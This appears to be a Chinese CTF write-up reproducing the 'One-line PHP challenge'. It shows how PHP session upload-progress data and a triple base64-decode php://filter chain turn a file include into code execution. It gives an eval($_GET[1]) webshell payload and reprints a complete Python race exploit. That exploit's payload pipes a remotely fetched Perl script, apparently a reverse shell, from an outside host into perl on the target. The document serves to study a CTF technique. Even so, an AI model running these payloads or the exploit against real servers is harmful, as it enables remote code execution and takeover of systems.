天天看點

複現One-line-php-challenge

https://www.anquanke.com/post/id/162656 http://wonderkun.cc/index.html/?p=718

環境

ubuntu 18.04
php 7.2
           

PS:

lsb_release -a

//檢視ubuntu的發行版本

題目

<?php
($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__);
?>
           

PS:通過 get 方式傳入一個 orange 參數,作為檔案名,然後程式會将我們傳入檔案名的那個檔案取出頭6個字元和 @<?php 比對,如果配對成功那麼就會包含這個檔案,否則就什麼都不做

解題思路:

  • 通過

    PHP_SESSION_UPLOAD_PROGRESS

    控制

    session 檔案

    複現One-line-php-challenge

php7.2的session檔案存儲路徑是固定的

/var/lib/php/sessions/sess_{php_session_id}

複現One-line-php-challenge
  • 檔案的開頭必須是

    @<?php

    sess

    檔案中的内容
upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}}
           
  • 這個檔案是以

    upload_progress

    開頭的,不能直接包含,需要控制這個開頭。
convert.base64-decode

Base64的索引表由64個ASCII字元組成:

0-9,26個英文小寫字母a-z,26個英文大寫字母:A-Z,除此之外還有額外兩個字元"+"和"/"

。遇到不符合 base64 規定字元的就會将其忽略

string.strip_tags

從字元串中去除 HTML 和 PHP 标記

複現One-line-php-challenge
最終payload

upload_progress_

是16個字元,但是根據 b64 的 decode 規則,其中隻有14個字元能解析,但是 14個字元又不是 4 的整數倍,于是我們必須添加兩個字元,将其變成16位。必須要保證在加了這個字元以後每次 b64 可解碼的位數都是4 的整數倍,要不然就會吞掉我們的 payload。

echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);')));
得到:
upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0=
           
  • 三次解碼:
    複現One-line-php-challenge
  • 檢視源碼
    複現One-line-php-challenge
Orange大佬的 exp
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'
headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
while 1:
    junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
    x = b64encode(payload + junk)
    xx = b64encode(b64encode(payload + junk))
    xxx = b64encode(b64encode(b64encode(payload + junk)))
    if '=' not in x and '=' not in xx and '=' not in xxx:
        print xxx
        break
def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z'
    }
    while 1:
        fp = open('/etc/passwd', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()
def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
    # print filename
    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.content
        if c and 'orange' not in c:
            print
if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)